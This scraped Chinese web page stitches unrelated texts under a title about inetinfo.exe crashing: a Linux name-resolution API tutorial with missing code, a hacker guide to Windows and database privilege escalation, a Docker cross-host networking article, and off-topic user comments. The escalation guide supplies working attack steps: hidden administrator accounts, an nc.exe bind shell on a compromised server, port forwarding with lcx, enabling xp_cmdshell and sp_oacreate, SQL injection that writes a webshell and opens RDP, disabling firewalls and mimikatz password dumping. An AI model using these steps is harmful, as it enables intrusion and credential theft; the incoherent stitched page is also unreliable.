inetinfo、inetinfo.exe停止工作

如果没有找到,再去访问DNS服务器。这两个函数的定义如下:includestructhostentgethostbyname(constcharname);st

如果没有找到,再去访问DNS服务器。

这两个函数的定义如下:

#include

struct hostent* gethostbyname(const char* name);

struct hostent* gethostbyaddr(const void* addr, size_t len, int type);

name参数指定目标主机的主机名,addr参数指定目标主机的IP地址,len参数指定addr所指IP地址的长度,type参数指定addr所指IP地址的类型,其合法取值包括AF_INET(用于IPv4地址)和AF_INET6(用于IPv6地址)。

这两个函数返回的都是hostent结构体类型的指针,host结构体的定义如下:

  • getservbyname函数根据名称获取某个服务的完整信息
  • getservbyport函数根据端口号获取某个服务的完整信息

它们实际上都是通过读取/etc/services 文件获取服务的信息。

#include

struct servent* getservbyname(const char* name, const char* proto);

struct servent* getservbyport(int port, const char* proto);

name参数指定目标服务的名字,port参数指定目标服务对应的端口号。proto参数指定服务类型,给它传递“tcp”表示获取流服务,给它传递“udp\\”表示获取数据报服务;给它传递NULL则表示获取所有类型服务。

这两个函数返回的都是servent结构体类型的指针,结构体servent的定义如下:

下面是通过主机名和服务名来访问目标服务器上的daytime服务。

这里需要指出的是,上面的4个函数都是不可重入的,即非线程安全的。不过netdb.h头文件给出了它们的可重入版本。正如Linux下所有其他函数的可重入版本的命名规则那样,这些函数的函数名是原函数名尾部加上_r(re-entrant)。

getaddrinfo函数既能通过主机名获得IP地址(内部使用的是gethostbyname函数),也能通过服务名获得端口号(内部使用的是getservbyname函数)。它是否可重入取决于其内部调用的gethostbyname和getservbyname函数是否是它们的可重入版本。该函数的定义如下:

#include

int getaddrinfo(const char* hostname, const char* service, const struct addrinfo* hints, struct addrinfo** result);

  • hostname参数可以接受主机名,也可以接受字符串表示的IP地址(IPv4采用点分十进制字符串,IPv6则采用十六进制字符串)
  • service参数可以接受服务名,也可以接收字符串表示的十进制端口号
  • hints参数是应用程序给getaddrinfo的一个提示,以对getaddrinfo的输出进行更精确的控制,hints参数可以被设置为NULL,表示允许getaddrinfo反馈任何可用的结果。
  • result参数指向一个链表,该链表用于存储getaddrinfo反馈的结果。

getaddrinfo反馈的每一条结果都是addrinfo结构体类型的对象,结构体addrinfo的定义如下:

  • ai_protocol成员是指具体的网络协议,其含义和socket系统调用的第三个参数相同,它通常被设置为0。
  • ai_flags可以按照下表的标志按位或

当我们使用hints参数的时候,可以设置其ai_flags,ai_family,ai_socktype和ai_protocol四个字段,其他字段则必须被设置为NULL。

下面是利用hints参数获取主机daytime流服务信息:

这里需要注意的是getaddrinfo隐式地分配了堆内存,因此在调用结束后,我们必须使用如下配对函数来释放这块内存

#include

void freeaddrinfo(struct addrinfo * res);

getnameinfo函数通过socket地址同时获得以字符串表示的主机名(内部使用gethostbyname函数)和服务名(内部使用的是getservbyport函数)。它是否可重入取决于其内部调用的gethostbyaddr和getservbyport函数是否是它们的可冲入版本。函数定义如下:

#include

int getnameinfo( const struct sockaddr* sockaddr, socklen_t addrlen, char* host, socklen_t hostlen, char* serv, socklen_t servlen, int flags);

getnameinfo将返回的主机名存储在host参数指向的缓存中,将服务名称存储在serv参数指向的缓存中,hostlen和serlen参数分别指定这两块缓存的长度。flags参数控制getnameinfo的行为:

getaddrinfo和getnameinfo函数成功时返回0,失败则返回错误码,可能的错误码如下:

Linux下strerror函数能将数值错误码errno转换成易读的字符串形式。同样,下面的函数可以将上表中的错误码转换成其字符串形式:

#include

const char* gai_strerror(int error);

黑客所有渗透提权的方法都在这里了,绝对值得收藏

文件权限配置不当提权

直接执行开启3389端口,执行net user username password /add & net localgroup administrators usernames /add

如果cmd被禁用,可尝试找可读、可写、可执行目录上传cmd.exe,然后远程连接。

@echo off

net user new222 123.com /add

net localgroup administrators new222 /add

将上述代码保存为1.bat文件

再将1.bat拷贝到C:\\\\Documents and Settings\\\\All Users\\\\「开始」菜单\\\\程序\\\\启动\\\\ 目录下,重启服务器即可。

找可读可写目录,上传nc.exe和cmd.exe (这里我均上传在c:\\\\inetpub\\\\ 目录下)

执行c:\\\\inetpub\\\\nc.exe -l -p 8888 -t -e c:\\\\inetpub\\\\Cmd.exe

打开本地dos: telnet 192.168.0.112 8888 (192.168.0.112为肉鸡ip)

发现变成肉鸡的shell

这里发现当前权限较小,可尝试通过pr.exe执行命令。

什么情况下适合转发端口?

1.服务器是内网,我们无法连接。

2.服务器上有防火墙,阻断我们的连接。

转发端口的前提,我们是外网或是有外网服务器。

找个可读可写目录上传lcx.exe

本地cmd命令:lcx.exe -listen 1988 4567 (监听本地1988端口并转发到4567端口)

接着shell命令:cmd /c c:\\\\windows\\\\temp\\\\cookies\\\\lcx.exe -slave 本机ip 1988 服务器ip 3389 (把服务器3389端口转发到本地4567端口)

之后本地连接:127.0.0.1:4567 (如果不想加上:4567的话,本地执行命令的时候,把4567换成3389来执行就行了)

以上是本机外网情况下操作,接着说下在外网服务器里如何操作:

上传lxc.exe cmd.exe到服务器且同一目录,执行cmd.exe命令:lcx.exe -listen 1988 4567

接着在aspx shell里点击端口映射,远程ip改为站点的ip,远端口程填1988,点击映射端口,接着在服务器里连接127.0.0.1:4567就可以了。

在上传大马,拿下shell后,尝试执行net user

发现拒绝访问,没有权限

找可读可写目录,上传cmd.exe。

这里上传到C:\\\\Inetpub\\\\

执行whoami,发现权限为network service,较低。执行net user admin1 admin1 /add失败,没有权限。

执行systeminfo发现没有打补丁,上传pr.exe.

这里上传到C:\\\\Inetpub\\\\

使用pr.exe执行whoami,发现已经是system权限。接着可以创建用户。。。

Ps:这里环境有问题,用公司的2003做的同样操作,复现

用法同pr提权,原理一样。

必须具备数据库管理员权限才能执行提权操作。例如sqlmap里面 –is-dba

Mssql

Mssql-xp_cmdshell提权

使用sqltools工具,利用xp_cmdshell提权。

这里没有搭建环境,没法复现了。这里默认是允许外连的情况。

按照下面输入账号密码,执行系统命令一通操作,即提权成功。

如果\\’xp-cmdshell\\’不存在,执行:

EXEC sp_configure \\’show advanced options\\’,1;RECONFIGURE;EXEC sp_configure \\’user connections\\’,1;RECONFIGURE;

如果xp_cmdshell组件没有开启,可以执行命令开启

EXEC sp_configure \\’show advanced options\\’, 1;RECONFIGURE;EXEC sp_configure \\’xp_cmdshell\\’, 1;RECONFIGURE; //开启xp_cmdshell

可以执行exec xp_cmdshell \\’whoami\\’ 查看是否开启成功

#关闭xp_cmdshell:

EXEC sp_configure \\’show advanced options\\’, 1;RECONFIGURE;EXEC sp_configure \\’xp_cmdshell\\’, 0;RECONFIGURE; //关闭xp_cmdshell

#附:

MSSQL语句开启3389:

exec master.dbo.xp_regwrite\\’HKEY_LOCAL_MACHINE\\’,\\’SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\’,\\’fDenyTSConnections\\’,\\’REG_DWORD\\’,0;–

MSSQL语句关闭3389:

exec master.dbo.xp_regwrite\\’HKEY_LOCAL_MACHINE\\’,\\’SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\’,\\’fDenyTSConnections\\’,\\’REG_DWORD\\’,1;–

dos命令开启3389

REG ADD HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal\\” \\”Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

dos命令关闭3389

REG ADD HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal\\” \\”Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f

win7及以上

netsh advfirewall set allprofiles state on //开启防火墙

netsh advfirewall set allprofiles state off //关闭防火墙

win2003系统使用如下命令

netsh firewall set opmode mode=ENABLE //开启防火墙

netsh firewall set opmode mode=ENABLE //关闭防火墙

此时,可以写入一句话,连菜刀:

exec xp_cmdshell \\’echo ^^>d:/a/muma.aspx\\’

inetinfo、inetinfo.exe停止工作

使用菜刀可以上传文件,配合上传做一些操作。比如上传“Getpass”等敏感文件。

如果没有开启外连,可以使用大马里面的SQL-sa提权。

如果没有开启外连也没有开启xp_cmdshell组件,同样上传aspx大马开组件,提权。

Mssql-sp_oacreate提权

前提:

如果xp_cmdshell组件被删除了话,还可以使用sp_oacreate来进行提权。

开启sp_oacreate

exec sp_configure \\’show advanced options\\’, 1;RECONFIGURE;exec sp_configure \\’Ole Automation Procedures\\’,1;RECONFIGURE; //开启sp_oacreate

##关闭sp_oacreate

exec sp_configure \\’show advanced options\\’, 1;RECONFIGURE;exec sp_configure \\’Ole Automation Procedures\\’,0;RECONFIGURE; //关闭sp_oacreate

创建账号:

declare @shell int

exec sp_oacreate \\’wscript.shell\\’, @shell out

exec sp_method @shell, \\’run\\’ , null, \\’c:\\\\windows\\\\system32\\\\cmd.exe \\\\c \\”net user test pinohd123. /add\\” \\’

参考:https://www.jianshu.com/p/e79d2a42338b

Mysql

udf提权

上传udf提权马。Ps:这里是tools提权马

由于mysql版本大于5.1,创建plugin目录。

导出udf.dll文件

创建函数

执行命令,发现是管理员权限

创建用户

成功执行。

Nc端口转发提权

通过大马创建端口转发函数,执行反弹:

本地监听

Server-U提权

查看是否有修改权限,如果有读写权限,修改server-u默认安装目录下面的SerUDaemon.ini文件,创建ftp用户,连接,执行命令创建用户:

quote site exec net user aa 123.com /add

quote site exec net localgroup administrators aa/add

如果没有修改权限,可以使用大马serv-u提权进行溢出提权。

注:43958是serv-u默认的端口。

尝试在ServUDaemon.ini配置文件里面,创建新的用户,辅助提权。

发现没有权限写入,这里不再尝试破解hash。而是通过大马所带“ServU-提权”进行溢出提权。

如果管理员修改密码,可以尝试把ServUAdmin.exe下载到本地,使用C32Asm.exe以16进制打开,ctrl+F查找,使用ANSI类型搜索,查找真实密码。如下:

Getpass

这里在win2003没有试验成功,后在2008上面能复现。如下:

Pwdump7

mimikatz

第一条:privilege::debug

//提升权限

第二条:sekurlsa::logonpasswords

//抓取密码

REG ADD HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 0 /fccccc

保存为1.reg,文件,然后执行,或者直接在cmd.exe里执行。

3389登陆关键注册表位置:HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\TerminalServer\\\\DenyTSConnections

其中键值DenyTSConnections 直接控制着3389的开启和关闭,当该键值为0表示3389开启,1则表示关闭。

而MSSQL的xp_regwrite的存储过程可以对注册进行修改,我们使用这点就可以简单的修改DenyTSConnections键值,从而控制3389的关闭和开启。

开启3389的SQL语句: syue.com/xiaohua.asp?id=100;exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,\\’SYSTEM\\\\CurrentControlSet\\\\Control\\\\TerminalServer’,\\’fDenyTSConnections’,\\’REG_DWORD’,0;–

关闭3389的SQL语句:syue.com/xiaohua.asp?id=100;exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,\\’SYSTEM\\\\CurrentControlSet\\\\Control\\\\TerminalServer’,\\’fDenyTSConnections’,\\’REG_DWORD’,1;–

2003可以实现一句话开3389:reg add “HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\\WinStations\\\\RDP-Tcp” /v PortNumber /t REG_DWORD /d 80 /f

最后喜欢我文章的朋友请加圈子关注我们,私信关键词:学习。(送免费资料和优惠券)

就会自动分享给你微信号。欢迎大家加入我们的安全大家庭。提高大家的安全意识,提升大家的网络安全技能一直是我们的初衷和愿景,让我们共同成为守护信息世界的\\”SaFeMAN\\”。

还有可以关注我们微信公众号,在公众号上输入安界网,就可以关注到我们,领取资料和优惠券

利用 Docker 在不同宿主机做 CentOS 系统容器 | 原力计划

作者 | 于先森2017

责编 | 伍杏玲

出品 | CSDN博客

最近公司新接到一个项目,惯例是通过技术架构、业务需求、用户量还有以往的经验大概评估出一份资源配置表格提供给客户,让客户参考采购的服务器资源。但这次客户根本没有根据我们提供的参考表格来,而是直接就提供给我们一些高配置的服务器实例,实例数与我们预期的少了很多,但配置相对的提高了很多,本着客户是上帝的原则,我们只能自己针对服务器做虚拟化。

我为什么选择用Docker虚拟化服务器?

之前一直是在Windows系统上做虚拟机,在Linux系统上虚拟化服务器还是第一次,更何况这个Linux系统是没有图形界面的。在虚拟化服务器之前我也查询资料做过很多技术比较,最终选择使用Docker来虚拟化服务器,具体总结优势无非以下几点:

1、Docker创建的容器启动速度快,秒级启动。

Docker管理容器操作(start、stop、rm、restart等等) 都是以秒或毫秒为单位的。

2、Docker可以基于创建的镜像进行弹性扩展。

创建容器并且根据自己的需求配置好容器后提交镜像到仓库,等到需要扩展容器的时候可拉取镜像启动相同的容器。

3、Docker创建的容器较轻量级

我可以在一台服务器上启动很多容器,如果只是用到某个服务的话,你无需虚拟整套系统版本。当然本文目的是虚拟出一整套系统的运行环境,所以就另当别论了。

4、Docker开源免费

开源的,免费的,低成本的,这就不用我多说了。

Docker的安装

Docker的安装这个其实我不必多说什么,网上一搜一大堆。但是有几点我需要说明下:

1、Docker存储数据位置及镜像存储位置

默认情况下Docker是将数据存储在/var/lib/docker路径下的,如果你系统盘的磁盘空间比较小,那你就需要修改Docker的数据存储路径了,可通过如下命令查看:

sudo docker info | grep \\”Docker Root Dir\\”

修改方法就是先停掉Docker服务,然后在/etc/docker/路径下创建一个daemon.json文件,在文件里加入如下文本:

重启Docker,再次查看Docker存储路径是否已经修改,如果不成功请自行百度查找,修改方法不止这一种。

2、拉取私有仓库镜像

这个私有仓库不是Docker收费版的那个,而是针对自己公司搭建的私有仓库。当你想拉取私有仓库镜像的时候,你需要配置私有仓库的IP和端口号,目的是让Docker信任你的私有仓库。具体步骤还是先关闭Docker服务,然后修改daemon.json文件,如下:

重启Docker,此时你就可以拉取你私有仓库的镜像了。

Docker容器在不同宿主机间通信

在说这个之前我先大概说下Docker网络配置,Docker安装后会自动创建3种网络:bridge、host、none,这三种网络模式的详细讲解我就不说了,因为太占篇幅,我就大概讲下我的理解吧。如下:

1、bridge模式

我理解就是Docker守护进程启动时会在宿主机上创建一个docker0虚拟网桥,这个网桥的作用就相当于一个交互机,该宿主机上的所有容器都是通过这个虚拟网桥连接外部网络的,docker0虚拟网桥的IP就相当于该宿主机上所有容器的默认网关。

当创建一个新容器时Docker会在宿主机上创建一对虚拟网卡veth pair设备,并且将veth pair设备的一端放在新创建的容器中,并命名为eth0(容器的网卡),另一端放在宿主机中,以vethxxx这样类似的名字命名,并将这个网络设备加入到docker0网桥中。

该模式是Docker创建容器的默认模式,如果想让外部网络访问到容器中的服务,就是需针对端口做映射,归根究底它实际是在iptables做了DNAT规则,实现端口转发功能。本文也是使用的这个模式。

根据我使用这么长时间的经验来看,这种模式的缺点就是需要事先规划好容器哪些端口该做映射。网上也有教在容器创建好后给容器增添映射端口,但是有的不靠谱儿,有的则是需要修改Docker生成的配置文件,但是如果像我这种构建的是整套系统运行环境,修改配置后重启可能有些服务就需要重新配置了,比如集群相关的服务。

2、host模式

这种模式其实就是和宿主机共用一套网路环境,它使用的IP就是宿主机的IP,它使用的端口也是宿主机的端口,网络的隔离性不好,我没有使用它的根本原因也正是它的隔离性,因为我所使用的宿主机上是存在两台系统运行环境的,或多或少的会出现端口冲突问题。

3、none模式

这种模式下的容器没有网卡、IP、路由等信息。需要我们自己为Docker容器添加网卡、配置IP等。也就是说它没有办法联网,我至今还没有用过,可能这样更安全吧。

以上就是我对Docker安装后创建的三种网络模式的理解,还有两种模式(container模式和user-defined模式)可以自行查找了解。

3.1、不同宿主机间容器通信原理图

上图为不同宿主机间容器通信的的原理图,说实话这张图在网上都被用烂了,但是没得办法,谁让咱确实是按照这么做的呢,对于上图的讲解我也是直接照搬网上查到的,如下:

1)数据从源容器中发出后,经由所在主机的docker0虚拟网卡转发到flannel0虚拟网卡,这是个P2P的虚拟网卡,flanneld服务监听在网卡的另外一端。

2)Flannel通过Etcd服务维护了一张节点间的路由表,在稍后的配置部分我们会介绍其中的内容。

3)源主机的flanneld服务将原本的数据内容UDP封装后根据自己的路由表投递给目的节点的flanneld服务,数据到达以后被解包,然后直接进入目的节点的flannel0虚拟网卡,

inetinfo、inetinfo.exe停止工作

然后被转发到目的主机的docker0虚拟网卡,最后就像本机容器通信一下的有docker0路由到达目标容器。

这样整个数据包的传递就完成了,这里需要解释三个问题:

1)UDP封装是怎么回事?

在UDP的数据内容部分其实是另一个ICMP(也就是ping命令)的数据包。原始数据是在起始节点的Flannel服务上进行UDP封装的,投递到目的节点后就被另一端的Flannel服务

还原成了原始的数据包,两边的Docker服务都感觉不到这个过程的存在。

2)为什么每个节点上的Docker会使用不同的IP地址段?

这个事情看起来很诡异,但真相十分简单。其实只是单纯的因为Flannel通过Etcd分配了每个节点可用的IP地址段后,偷偷的修改了Docker的启动参数。

在运行了Flannel服务的节点上可以查看到Docker服务进程运行参数(ps aux|grep docker|grep “bip”),例如“–bip=182.48.56.1/24”这个参数,它限制了所在节点容器获得的IP范围。这个IP范围是由Flannel自动分配的,由Flannel通过保存在Etcd服务中的记录确保它们不会重复。

3)为什么在发送节点上的数据会从docker0路由到flannel0虚拟网卡,在目的节点会从flannel0路由到docker0虚拟网卡?

例如现在有一个数据包要从IP为172.17.18.2的容器发到IP为172.17.46.2的容器。根据数据发送节点的路由表,它只与172.17.0.0/16匹配这条记录匹配,因此数据从docker0出来以后就被投递到了flannel0。同理在目标节点,由于投递的地址是一个容器,因此目的地址一定会落在docker0对于的172.17.46.0/24这个记录上,自然的被投递到了docker0网卡。

3.2、不同宿主机间容器通信安装部署

虽然安装部署方法也是在网上找的,但是网上给出的方法大方向是没问题的就是一些细节讲的还不是很清楚,导致我部署的时候还是出现很多问题。下面我会将我安装部署的过程和遇到的问题整理到本文中。

3.2.1、宿主机环境准备

我准备了四台宿主机,如下:

四台宿主机都需要设置hosts:

3.2.2、安装Etcd

本来想搭建etcd的多主机集群的,但是想了下只是在预生产使用而且只是处在前期搭建状态还没有正式使用,所以etcd我只在192.168.10.1服务器上搭建了单个主机的,如果后期出现问题,我会修改为多主机集群。

1、安装etcd服务

yum install etcd -y

2、修改etcd配置文件

3、启动etcd服务

4、查看etcd服务是否启动成功

5、在etcd中配置flannel需要用到的键值

3.2.3、安装Flannel

flannel是所有宿主机需要安装的中间件,而且前文中提到的hosts文件一定要设置好。

1、安装flannel服务

yum install flannel -y

2、修改flannel配置文件

flanneld配置文件中的FLANNEL_ETCD_PREFIX参数与上文中保存在etcd中的一个键值是相对应的,但要注意FLANNEL_ETCD_PREFIX参数的值没有后边的/config。

3、启动flanneld服务

4、查看flanneld服务是否启动成功

此时可看到flannel生成的flannel0网卡的IP是在etcd保存的网段内的,说明flannel网络配置完成。

3.2.4、配置docker0虚拟网桥

安装启动flanneld后重启Docker服务,查看Docker服务生成的docker0网桥IP是否已经位于flanneld生成flannel0网卡的网段之中,比如flannel0网卡的IP是:172.18.92.0,docker0的IP是:172.18.92.1,则配置成功。如果IP地址的前三段有一段不同,则说明需要重新对docker0虚拟网桥进行配置,配置方法如下:

1、停掉Docker服务,修改docker.service配置文件

如上就是需要在docker.service文件中的ExecStart参数后添加–bip=172.18.92.1/24,bip的值请查看/run/flannel/subnet.env文件的FLANNEL_SUBNET值,这两个需要保持一致。

2、重启Docker

3、docker0是否配置成功

如上docker0处于flannel0的网段内,说明配置已经成功。

3.2.5、验证宿主机间容器是否通信

如果以上步骤都已配置成功,此时就需要验证不通宿主机间容器是否通信了,验证方法就是在每个宿主机创建个容器,然后在容器中ping其他宿主机中容器的Ip,如果能够ping通,则说明已经完成。如果Ping不通也不要惊慌,因为可能是底层的iptables造成的,所以解决办法是在各宿主机上执行下面操作:

以上只完成后再次测试容器间是否能够相互ping通,还是不可以的话就需要排查是否那个环节疏忽出现问题了。docker通过Flannel可以实现各容器间的相互通信,即宿主机和容器,容器和容器之间都能相互通信。

制作CentOS系统版本容器

1、拉取centos:7.6.1810系统版本的镜像

[root@master ~]# docker pull centos:7.6.1810

2、创建容器

[root@master ~]# docker run -itd –name pre-centos –privileged=true -p 10022:22 centos:7.6.1810 init

我对该命令中的参数具体讲解下:

-i:以交互模式运行容器,通常与 -t 同时使用。

-t:为容器重新分配一个伪输入终端,通常与 -i 同时使用。

-d:后台运行容器,并返回容器ID,如果不加这个参数,当退出容器时,这个容器也就停止了。

–privileged:默认是false,我们这里改成了true,使用该参数容器中的root拥有真正的root权限,否则容器的root用户只是宿主机的一个普通用户权限,有些命令如:systemctl、service是使用不了的。

-p:就是映射端口的作用

还有一个问题需要注意,就是该命令后的init,加上它赋值给容器真正的root权限才会生效,如果使用/bin/bash是不会生效的。

3、进入创建好的容器

[root@master ~]# docker exec -it 1fc31e49daxc bash

1fc31e49daxc 参数为新创建容器的CONTAINER ID。

4、安装启动ssh

容器中安装配置ssh,就是希望外部工具能够通过容器映射宿主机的10022端口直接访问到容器里。

5、修改ssh配置文件

6、重启ssh

[root@1fc31e49daxc ~]# /usr/sbin/sshd -D

7、设置linux容器的密码

[root@1fc31e49daxc ~]# passwd root

8、退出容器并将容器提交成镜像

9、将镜像打成标签提交私有仓库

8a1960ed7c4c 为IMAGE ID,修改标签后的镜像与提交的镜像IMAGE ID是一样的。

10、拉取私有仓库镜像

[root@slave1 ~]# docker pull 192.168.12.10:5000/yuliang/pre-centos:1.0

11、创建新的容器

[root@slave1 ~]# docker run -itd –name pre-centos –privileged=true -m 30G -p 10022:22 -p 3357:3306 -p 8024:8024 -p 8025:8025 192.168.12.10:5000/yuliang/pre-centos:1.0 /usr/sbin/init

其中有一个新的参数-m需要讲一下,其实它就是限制容器使用的内存,默认情况下容器使用的资源是根据宿主机来定的,宿主机有多少资源它就能够用多少资源。容器的磁盘空间除外,容器的磁盘空间是根据Docker存储数据路径所在宿主机的那个磁盘大小定的,也就是说Docker存储数据路径所在磁盘有100G,容器也只能够使用100G的磁盘。而内存和CPU在默认情况下宿主机有多少资源它就能够用多少资源。这个容器我使用了-m来限制容器只能使用30G内存。

(注:再次提醒事先规划好容器使用的端口在创建容器,如果容器已经创建成功后想添加端口请查看这篇文章:为已创建的容器添加映射端口)

12、测试容器是否正常运行

13、查看容器信息

[root@slave1 ~]# docker inspect a38321832cfd

这条命令执行后显示的信息就是该a38321832cfd容器构建时候的全部信息,包括IP、端口映射等等。

14、访问容器

1、如果是在做过容器间通信的宿主机上连接访问可通过以下命令:

[root@master ~]# ssh root@172.18.91.2

注意使用的容器的22端口。

2、如果是在没有做过容器间通信的服务器上连接访问则需要通过以下命令:

[root@ecs-12 ~]# ssh -p 10022 root@192.168.10.2

3、如果是使用外部工具访问容器,需要用到也是宿主机的10022端口和宿主机的IP。

上文参考:

https://blog.csdn.net/tototuzuoquan/article/details/82119043

总结

以上关于如何做不同宿主机间容器通信和使用Docker创建虚拟机服务器我已经讲解的很清楚了,文中有些我是在网上找来的也添加了出处,在网上找来的内容我也有实际认认真真的研究过并且加以改进我才敢在我们的预生产环境使用。因为现在还没到真正的测试实验阶段,所以我不敢打包票说这些内容一定没有问题。

后续我会将遇到的问题整理进这篇文章的,如果我没有添加则说明确实没有问题了。看到这篇文章的人发现文中有问题可随时给我留言。最后说一句话,有些事情看着很容易,实际做起来你会发现也很容易,但得需要你去做啊。

版权声明:本文为CSDN博主「于先森2017」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:https://blog.csdn.net/yuliang123345/article/details/105799892

比 TensorFlow Lite 快 15.6 倍!业界首个移动 GPU BNN 加速引擎 PhoneBit 开源

华为副总裁回应应用删除用户图片;美国拟允许华为参与 5G 标准建设;Firefox 76.0 发布 | 极客头条

艰难的这年,程序员的未来在哪里?

蚂蚁金服高要求的领域建模能力,对研发来说到底指什么?

一文看懂主流区块链攻击底层逻辑 | 博文精选

如果你还想了解更多这方面的信息,记得收藏关注本站。

用户评论


白恍

哎哟,我的网卡经常莫名其妙中断连接!重启电脑也不一定管用,总是等到晚上才好起来,真是令人发愁啊…

    有19位网友表示赞同!


莫失莫忘

我遇到过几次 inetinfo.exe 突然停止工作的现象,每次都是电脑打开一些特定的网页后就会出现这种情况,后来找了好久解决办法终于把问题解决了,就是把电脑更新到最新版本系统,不知道有没有人试过? <br/>

    有10位网友表示赞同!


╯念抹浅笑

这也太烦人了!我刚开始用这个新电脑的时候 inetinfo 经常出这种状况,后来我发现可能是网络设置有问题导致的,赶紧去查了一下资料,最后调整完网络参数就恢复正常了。

    有5位网友表示赞同!


我家的爱豆是怪比i

每次inetinfo.exe 出错都让我感觉像是被网络给“锁定了”,简直让人崩溃啊!还好最近自己学了一点电脑知识,知道可以用系统日志查看错误信息,这样至少能判断一下问题出在哪里 …

    有5位网友表示赞同!


留我一人

我的 inetinfo 就特别喜欢在关键时刻歇菜,比如玩游戏的时候经常就自动停掉,这可真是太蛋疼了!有没有人遇到过类似的情况?一起交流下解决方法吧!

    有18位网友表示赞同!


瑾澜

我发现有些时候删除一些不必要的软件程序后,inetinfo.exe 就不会轻易停止工作了。可能是某个文件被冲突或者占用导致的问题吧。

    有14位网友表示赞同!


别留遗憾

inetinfo.exe 的问题真是让人心累啊,重启电脑也是要命的办法,还有谁能告诉我除了重装系统之外还有什么办法可行吗?

    有9位网友表示赞同!


半梦半醒半疯癫

刚开始出现inetinfo.exe 停止工作的时候我还以为是网线的问题,后来发现根本不是的! 我的网络设置经常出现变化,可能是自己操作的原因吧。

    有6位网友表示赞同!


孤单*无名指

我感觉 inetinfo.exe 的问题可能跟计算机硬件也有关系,比如内存或者硬盘不够大,这样就可能会导致程序崩溃。

    有20位网友表示赞同!


夏以乔木

每次inetinfo.exe 突然停止工作我都以为我的电脑坏了!后来发现可能是网络驱动器的问题,更新一下驱动就可以暂时解决。

    有15位网友表示赞同!


一生只盼一人

inetinfo.exe 的问题其实挺普遍的,我建议你参考一些官方技术文档看看是否有解决方案,或者去软件论坛寻求帮助,那里有很多专业人士能提供指导。

    有15位网友表示赞同!


无望的后半生

我最近发现自己用网络浏览器的次数变得越来越少,可能是因为inetinfo.exe 太容易出现问题影响体验的原因吧!

    有13位网友表示赞同!


眼角有泪°

你试着检查一下你的系统进程管理器里面是不是有一些占用资源太多的程序? 可能与 inetinfo.exe 的停止工作有关。

    有16位网友表示赞同!


绳情

inetinfo.exe 的问题真是烦透了,不知道到底该怎么解决才能不让它经常出现!

    有13位网友表示赞同!


惦着脚尖摘太阳

我曾经试过各种方法解决inetinfo.exe 停用的问题,包括重新安装操作系统,修改网络配置文件等等,但最终还是没找到根本原因…

    有10位网友表示赞同!


秘密

inetinfo.exe 停止工作确实令人头疼,感觉像是中了诅咒一般。

    有6位网友表示赞同!


。婞褔vīp

希望会有高手出来解答这个问题啊!

    有19位网友表示赞同!

程序开发

震撼价799元!三星金属翻盖手机S3600惊艳上市

2025-7-30 12:18:48

程序开发

轻松查询快递状态:手机号查快递的实用方法

2025-7-30 13:18:44

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索